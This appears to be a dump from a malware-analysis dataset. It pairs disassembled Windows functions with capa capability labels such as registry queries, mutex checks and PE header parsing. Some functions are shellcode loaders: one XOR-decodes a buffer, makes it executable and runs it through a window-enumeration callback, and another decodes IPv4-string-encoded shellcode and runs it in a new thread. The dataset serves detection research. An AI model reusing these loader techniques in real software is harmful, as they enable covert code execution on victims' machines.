joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003a940
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x80
mov rsi, rdx
mov rax, qword [0x1400ab070]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea rdi, [rsp + 0x70]
mov qword [rdi], 0
mov qword [rsp + 0x20], rdi
lea rdx, str.SOFTWAREPoliciesMozillaFirefox
xor ebx, ebx
xor r8d, r8d
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdi, qword [rdi]
test rdi, rdi
je 0x14003aa2f
lea rax, [rsp + 0x6c]
mov dword [rax], ebx
lea rcx, [rsp + 0x68]
mov dword [rcx], ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x38], rcx
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rax
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov ebx, 2
test eax, eax
jne 0x14003aa24
lea rbx, [rsp + 0x64]
mov dword [rbx], 0xffffffff
lea rax, [rsp + 0x60]
mov dword [rax], 4
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
mov r8, rsi
mov r9d, 0x10
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
xor ecx, ecx
cmp dword [rbx], 0
sete cl
test eax, eax
mov ebx, 2
cmove ebx, ecx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14003aa34
mov ebx, 2
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140055a90
mov eax, ebx
add rsp, 0x80
pop rbx
pop rdi
pop rsi
ret
Function at 0x14003c9a0
Capabilities:
Check mutex on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov al, 1
cmp byte [rcx + 8], 0
jne 0x14003ca84
mov rsi, rcx
mov rdi, qword [rcx]
test rdi, rdi
jne 0x14003c9f0
lea r8, str.MozillaFirefoxDefaultBrowserAgentRegistryMutex
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rdi, rax
mov rcx, qword [rsi]
lea rax, [rcx + 1]
cmp rax, 2
jb 0x14003c9e4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsi], rdi
test rdi, rdi
je 0x14003ca8b
mov rcx, rdi
mov edx, 0xbb8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x14003ca37
cmp eax, 0x80
je 0x14003ca59
test eax, eax
je 0x14003ca79
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.default_browser_agent.exe_gWinEventLogSourceName]
mov dword [rsp + 0x20], eax
lea rdx, str.Failed_to_wait_on_registry_mutex:__X
lea r8, str.Acquire
mov r9d, 0xbb
jmp 0x14003ca52
mov rcx, qword [sym.default_browser_agent.exe_gWinEventLogSourceName]
lea rdx, str.Timed_out_waiting_for_registry_mutex
lea r8, str.Acquire
mov r9d, 0xae
call fcn.14002b7d0
jmp 0x14003ca7d
mov rcx, qword [sym.default_browser_agent.exe_gWinEventLogSourceName]
lea rdx, str.Found_abandoned_registry_mutex._Continuing...
lea r8, str.Acquire
mov r9d, 0xb5
call fcn.14002b7d0
mov byte [rsi + 8], 1
cmp byte [rsi + 8], 0
setne al
add rsp, 0x28
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.default_browser_agent.exe_gWinEventLogSourceName]
mov dword [rsp + 0x20], eax
lea rdx, str.Couldnt_open_registry_mutex:__X
lea r8, str.Acquire
mov r9d, 0xa4
call fcn.14002b7d0
xor eax, eax
jmp 0x14003ca84
Function at 0x14003f350
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14003f386
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 3
jbe 0x14003f38e
mov esi, dword [rdx]
mov r9d, 4
jmp 0x14003f393
xor r10d, r10d
jmp 0x14003f441
xor r9d, r9d
xor esi, esi
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x14003f3b6
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14003f3cd
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14003f3ed
add r11, r8
jmp 0x14003f511
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x14003f4b5
mov r9, qword [rax]
mov rcx, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
add r9, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, r9
rol r9, 0x20
xor rdi, rbx
add rcx, rdi
rol rdi, 0x10
xor rdi, rcx
add r9, rdi
rol rdi, 0x15
add rcx, rsi
rol rsi, 0x11
xor rsi, rcx
rol rcx, 0x20
xor rdi, r9
xor r9, rbx
add r10, 8
cmp r10, r8
jb 0x14003f463
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax], r9
mov qword [rax + 8], rcx
cmp r11d, 3
jbe 0x14003f4c7
mov r9d, dword [rdx + r10]
mov r8d, 4
jmp 0x14003f4cd
xor r8d, r8d
xor r9d, r9d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14003f4f3
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x14003f50d
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140054420
Capabilities:
Link many functions at runtime

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rbx, qword [0x1400ab558]
test rbx, rbx
jne 0x140054572
lea rcx, [0x14007d7d5]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140054485
mov rdi, rax
lea rdx, str.WaitOnAddress
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140054485
mov rsi, rax
lea rdx, str.WakeByAddressSingle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140054485
mov r14, rax
xor edi, edi
jmp 0x140054514
lea rcx, [0x14007d790]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14005457f
mov rsi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14005457f
mov rbx, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14005457f
mov rdi, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14005457f
mov rsi, rax
lea rcx, [rsp + 0x20]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
mov rax, rbx
call qword [0x1400af010]
test eax, eax
jne 0x14005457f
mov r14, qword [rsp + 0x20]
mov al, byte [0x1400ab511]
mov ecx, 0x18
mov edx, 8
call fcn.140016970
test rax, rax
je 0x140054584
mov rbx, rax
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r14
xor eax, eax
lock cmpxchg qword [0x1400ab558], rbx
je 0x140054572
mov rsi, rax
cmp qword [rbx], 0
je 0x14005455c
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x18
mov r8d, 8
mov rcx, rbx
call fcn.140016a00
mov rbx, rsi
mov rax, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.140063c10
mov ecx, 8
mov edx, 0x18
call fcn.1400578f0
int3
Function at 0x140057b20
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x2f8
mov rax, qword [0x1400ab070]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
xor esi, esi
lea rdi, [rsp + 0xe0]
mov r8d, 0x20a
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x140057b8c
lea rcx, [rsp + 0xe0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add rax, 0xffffffffffffff07
cmp rax, 0xfffffffffffffefc
jae 0x140057baf
xor esi, esi
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.140055a90
mov eax, esi
add rsp, 0x2f8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rdx, str.control.exe
lea rcx, [rsp + 0xe0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor esi, esi
test eax, eax
je 0x140057b8c
lea rdi, [rsp + 0xd8]
mov qword [rdi], rsi
mov rcx, rdi
call fcn.140057900
mov rdi, qword [rdi]
lea r14, str.control.exe__name_Microsoft.DefaultPrograms__page_pageDefaultProgrampageAdvancedSettings_pszAppName_s
mov rcx, r14
mov rdx, rdi
call fcn.140057a20
cdqe
lea r15, [rax + 1]
lea r12, [rax + rax]
add r12, 2
mov rcx, r12
call fcn.140054b1c
mov rbx, rax
mov rcx, rax
xor edx, edx
mov r8, r12
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x20], rdi
mov rcx, rbx
mov rdx, r15
mov r9, r14
call fcn.140057aa0
xorps xmm0, xmm0
lea rax, [rsp + 0x70]
movaps xmmword [rax], xmm0
movaps xmmword [rax + 0x30], xmm0
movaps xmmword [rax + 0x40], xmm0
mov qword [rax + 0x60], rsi
movaps xmmword [rax + 0x50], xmm0
movaps xmmword [rax + 0x20], xmm0
movaps xmmword [rax + 0x10], xmm0
mov dword [rax], 0x68
mov dword [rax + 0x3c], 1
mov word [rax + 0x40], 0xa
lea rcx, [rsp + 0x50]
mov qword [rcx + 0x10], rsi
movaps xmmword [rcx], xmm0
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
lea rcx, [rsp + 0xe0]
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
setne sil
je 0x140057cba
mov rcx, qword [rsp + 0x50]
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r14
mov rcx, qword [rsp + 0x58]
call r14
mov rcx, rbx
call fcn.140054b24
test rdi, rdi
je 0x140057b8c
mov rcx, rdi
call fcn.140054b24
jmp 0x140057b8c
Function at 0x140059fa0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword [0x1400ab070]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dil, 1
cmp qword [rcx + 0x68], 0
je 0x14005a05c
mov rsi, rcx
cmp byte [rcx + 0x71], 0
je 0x14005a05c
mov rax, qword [rsi]
mov rax, qword [rax + 0x18]
mov rcx, rsi
mov edx, 0xffffffff
call qword [0x1400af010]
cmp eax, 0xffffffff
je 0x14005a05a
mov rcx, qword [rsi + 0x68]
lea r9, [rsp + 0x50]
lea rdx, [rsi + 0x74]
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
lea r8, [rsp + 0x28]
mov qword [rsp + 0x20], r8
lea rdi, [rsp + 0x30]
mov r8, rdi
call qword [0x1400af010]
cmp eax, 3
je 0x14005a073
cmp eax, 1
je 0x14005a029
test eax, eax
jne 0x14005a05a
mov byte [rsi + 0x71], 0
mov rbx, qword [rsp + 0x28]
sub rbx, rdi
je 0x14005a050
mov r9, qword [rsi + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x14005a05a
cmp byte [rsi + 0x71], 0
sete dil
jmp 0x14005a05c
xor edi, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140055a90
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
mov byte [rsi + 0x71], 0
mov dil, 1
jmp 0x14005a05c
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
movdqa xmm2, xmmword [0x1400022f0]
lea rax, [0x140004090]
xor ecx, ecx
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x20]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
cmp ecx, 0x37f
jbe 0x1400010a0
movsxd rax, ecx
lea rbx, [0x140004080]
cmp rax, 0x3a7
ja 0x140001111
add rax, rbx
xor byte [rax], 0x19
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x3a7
jbe 0x140001100
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001147
lea rcx, [0x1400022a0]
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001290
add rsp, 0x30
pop rbx
ret
lea rdx, str.MessageBoxA
mov qword [rsp + 0x40], rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x140001170
lea rcx, [0x1400022c0]
jmp 0x140001259
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0
mov edx, 0x3a7
mov r8d, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001246
mov rcx, rdi
mov eax, 7
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400011a1
movups xmm0, xmmword [rbx]
lea r9, [rsp + 0x20]
mov edx, 0x3a7
mov r8d, 0x40
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbx + 0x20]
mov dword [rcx + 0x20], eax
movzx eax, word [rbx + 0x24]
mov word [rcx + 0x24], ax
movzx eax, byte [rbx + 0x26]
mov byte [rcx + 0x26], al
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001246
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumChildWindows]
xor eax, eax
jmp 0x140001263
lea rcx, [0x140002280]
call fcn.140001010
lea rcx, [0x1400022d0]
call fcn.140001010
mov eax, 0xffffffff
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001290
add rsp, 0x30
pop rbx
ret
Function at 0x140001b50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b9a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b9a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b9a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b9a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b9a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b9c
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Create thread

Disassembly:
push rbx
push rbp
push r13
push r14
sub rsp, 0x48
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ebp, ebp
mov qword [rsp + 0x40], r15
lea rcx, str.NTDLL
mov qword [rsp + 0x30], rbp
mov r14d, ebp
mov r13d, ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv4StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
jne 0x1400010da
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x14000118d
mov qword [rsp + 0x80], r12
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x110
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x140001117
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001185
mov qword [rsp + 0x70], rsi
mov ebx, ebp
mov qword [rsp + 0x78], rdi
lea rsi, str.252.72.131.228
mov rdi, r12
nop dword [rax]
mov rcx, qword [rsi]
lea r8, [rsp + 0x30]
mov r9, rdi
xor edx, edx
call r15
test eax, eax
jne 0x14000115e
add rdi, 4
inc ebx
add rsi, 8
cmp ebx, 0x44
jb 0x140001130
mov r13, r12
mov r14d, 0x110
jmp 0x14000117b
mov r8d, eax
movsxd rdx, ebx
lea rax, str.252.72.131.228
lea rcx, str.____RtlIpv4StringToAddressA_Failed_At___s__With_Error_0x_0.8X_n
mov rdx, qword [rax + rdx*8]
call fcn.140001010
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x80]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
xor edx, edx
mov dword [rsp + 0x20], r14d
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r15, qword [rsp + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x1400011d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_at_executing_CreateFileMappingA_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001279
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x22]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
test rax, rax
jne 0x14000120c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_at_executing_MapViewOfFile_n
call fcn.140001010
lea eax, [rbx - 2]
jmp 0x140001279
mov r8, r14
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, r14
xor edx, edx
mov rcx, r13
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov qword [rsp + 0x28], rbp
mov r8, rbx
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140001260
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_at_executing_CreateThread_n
call fcn.140001010
mov ebp, 0xfffffff9
jmp 0x14000126e
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, ebp
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400012b0
add rsp, 0x48
pop r14
pop r13
pop rbp
pop rbx
ret
Function at 0x140025454
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002549e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002549e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002549e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002549e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002549e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400254a0
xor al, al
add rsp, 0x28
ret

Function at 0x1400293d0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002923b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002923b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002923b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002923b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002923b
cmp dword [rcx + 0x84], 0xe
jbe 0x14002923b
cmp dword [rcx + 0xf8], 0
je 0x14002923b
mov ecx, ebx
call fcn.1400292ec
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400290c8
nop
cmp dword [rbp + 0x20], 0
je 0x140029289
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140029294
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400291cc
Function at 0x140039f48
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140039fcf
mov rsi, rbx
cmp word [rax], bp
je 0x140039f8e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140039f78
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140039f74
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140037568
mov rdi, rax
test rax, rax
je 0x140039fbc
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140040870
mov rbp, rdi
xor ecx, ecx
call fcn.140035938
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003db44
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003db5a
mov al, 1
jmp 0x14003dbba
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003db6b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003dbb8
mov ecx, dword [rcx + 0x18]
nop
call fcn.14003a6ec
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003dbb8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003dbb8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003dbb8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003dbba
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140040120
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140040148
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140040148
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140002ed0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
sub rsp, 0x70
cmp qword [rcx + 0xdf8], 0
mov rbx, rcx
movaps xmmword [rsp + 0x60], xmm6
movaps xmm6, xmm1
movaps xmmword [rsp + 0x50], xmm7
movaps xmm7, xmm2
jne 0x140002f11
mov r8d, 0x5b9
lea rdx, str.C:Users1Desktopivory.wtf_loaderimgui.cpp
lea rcx, str.Ctx___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp byte [rbx + 0x37b1], 0
mov rbp, qword [rbx + 0xdf8]
je 0x1400030e0
movss xmm1, dword [0x1403f44f8]
xorps xmm2, xmm2
comiss xmm7, xmm1
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], r14
jbe 0x140002f65
comiss xmm7, xmm2
cvttss2si eax, xmm7
jae 0x140002f5e
movd xmm0, eax
cvtdq2ps xmm0, xmm0
ucomiss xmm0, xmm7
jp 0x140002f5c
je 0x140002f5e
dec eax
movd xmm7, eax
cvtdq2ps xmm7, xmm7
comiss xmm6, xmm1
jbe 0x140002f8a
comiss xmm6, xmm2
cvttss2si eax, xmm6
jae 0x140002f83
movd xmm0, eax
cvtdq2ps xmm0, xmm0
ucomiss xmm0, xmm6
jp 0x140002f81
je 0x140002f83
dec eax
movd xmm6, eax
cvtdq2ps xmm6, xmm6
lea r14, [rbp + 0x3e70]
mov qword [rsp + 0x88], rdi
mov ebx, dword [r14]
sub ebx, 1
movsxd rsi, ebx
js 0x140002fe1
imul rdi, rsi, 0x1c
cmp ebx, dword [r14]
jl 0x140002fc7
mov r8d, 0x70d
lea rdx, str.C:Users1Desktopivory.wtf_loaderimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [r14 + 8]
cmp dword [rdi + rax], 1
je 0x140003077
dec ebx
sub rdi, 0x1c
sub rsi, 1
jns 0x140002fa8
movsd xmm0, qword [rbp + 0xe08]
lea rax, [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
movss xmm0, dword [rax]
ucomiss xmm0, xmm6
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
movss xmm1, dword [rax + 4]
jp 0x14000301f
jne 0x14000301f
ucomiss xmm1, xmm7
jp 0x14000301f
je 0x1400030d8
mov eax, dword [rbp + 0x3e94]
mov dword [rsp + 0x38], eax
inc eax
mov dword [rbp + 0x3e94], eax
mov ecx, dword [r14]
mov r8d, dword [r14 + 4]
mov eax, dword [rbp + 0x3e90]
movss dword [rsp + 0x3c], xmm6
movss dword [rsp + 0x40], xmm7
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x34], 1
mov dword [rsp + 0x44], eax
cmp ecx, r8d
jne 0x1400030ad
inc ecx
test r8d, r8d
je 0x140003099
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x14000309e
movss xmm0, dword [rdi + rax + 0xc]
movss xmm1, dword [rdi + rax + 0x10]
lea rax, [rsp + 0x20]
movss dword [rsp + 0x20], xmm0
